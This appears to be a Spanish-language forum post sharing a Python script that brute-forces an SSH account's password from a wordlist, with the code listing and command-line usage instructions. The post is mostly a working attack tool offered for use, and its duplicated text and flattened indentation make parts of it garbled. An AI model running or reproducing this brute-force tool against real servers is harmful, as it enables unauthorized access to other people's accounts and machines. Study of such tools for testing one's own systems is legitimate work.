Un saludo cordial, lincesas y manquinolas.
Deseo poder compartir con todos ustedes algo que vengo practicando con python, espero sea de ayuda para algunos o puedan corregirme.
La idea del presente código es el de hacer fuerza bruta a una cuenta ssh, con un usuario especifico y las contraseñas serán sacados de un archivo lista.txt.
SSH SSH (Secure SHell, en español: intérprete de órdenes segura) es el nombre de un protocolo y del programa que lo implementa, y sirve para acceder a máquinas remotas a través de una red.
pxssh pxssh la clase extiende pexpect.spawn especializarse establecer conexiones SSH. Esto añade métodos para inicio de sesión, cierre de sesión, y esperando que el intérprete de comandos.
dir(pxssh)
GtiHub
https://github.com/JuanFajardo/CodePython/blob/master/sshBrute/sshBrute.py
}
Para ejecutar el código sera de la siguiente manera.
python sshBrute.py -i 192.168.1.1 -u usuario -l lista.txt
donde:
-i , IP de la maquina donde esta corriendo el servicio de SSH.
-u, El nombre de usuario a intentar la contraseña.
-l , La lista de las posibles contraseñas.

Deseo poder compartir con todos ustedes algo que vengo practicando con python, espero sea de ayuda para algunos o puedan corregirme.

La idea del presente código es el de hacer fuerza bruta a una cuenta ssh, con un usuario especifico y las contraseñas serán sacados de un archivo lista.txt.
SSH SSH (Secure SHell, en español: intérprete de órdenes segura) es el nombre de un protocolo y del programa que lo implementa, y sirve para acceder a máquinas remotas a través de una red.
pxssh pxssh la clase extiende pexpect.spawn especializarse establecer conexiones SSH. Esto añade métodos para inicio de sesión, cierre de sesión, y esperando que el intérprete de comandos.
dir(pxssh)
GtiHub
https://github.com/JuanFajardo/CodePython/blob/master/sshBrute/sshBrute.py


#!/usr/bin/python
__author__ = 'bett0'
#
#Escrito para http://www.CommunitySec.com/
#
#python sshBrute.py -h [IP/192.168.1.1] -u [USUARIO] -l [Diccionario]
#
#Importando paquete para el manejo del protocolo ssh
import pxssh
from optparse import OptionParser
def sshBrute(host, user, clave):
s = pxssh.pxssh()
try:
s.login(host, user, clave)
print('[+] La clave de {0} es: {1}'.format(user, clave))
return 1
except pxssh.ExceptionPxssh, e:
#La excepcion se ejecuta cuando la clave es incorrecta
print('[-] Intentando con {0}'.format(clave))
return 0
def main():
#La clase OptionParse para hacer mas vistoso los datos de entrada.
parse = OptionParser(' -i [IP/192.168.1.1] -u [USUARIO] -l [Diccionario] ')
parse.add_option('-i', '--ip',dest='ip',type='string',help='Es la ip a la maquina que atacara')
parse.add_option('-u', '--user', dest='user', type='string', help='Nombre del usuario.')
parse.add_option('-l', '--lista', dest='lista', type='string', help='Lista con las posibles claves')
(opt, errors) = parse.parse_args()
if opt.ip == None:
print parse.usage()
exit(0)
else:
host = opt.ip
if opt.user == None:
print parse.usage()
exit(0)
else:
user = opt.user
if opt.lista == None:
print parse.usage()
exit(0)
else:
lista = opt.lista
try:
with open(lista,'r') as claves:
for password in claves:
try:
clave = password.strip('rn')
resp = sshBrute(host, user, clave)
if resp == 1:
break
except Exception, err:
print('Conectar : {0}'.format(err))
except Exception, err:
print('ErrorLista : {0}'.format(err))
if __name__=='__main__':
main()

Para ejecutar el código sera de la siguiente manera.
python sshBrute.py -i 192.168.1.1 -u usuario -l lista.txt
donde:
-i , IP de la maquina donde esta corriendo el servicio de SSH.
-u, El nombre de usuario a intentar la contraseña.
-l , La lista de las posibles contraseñas.

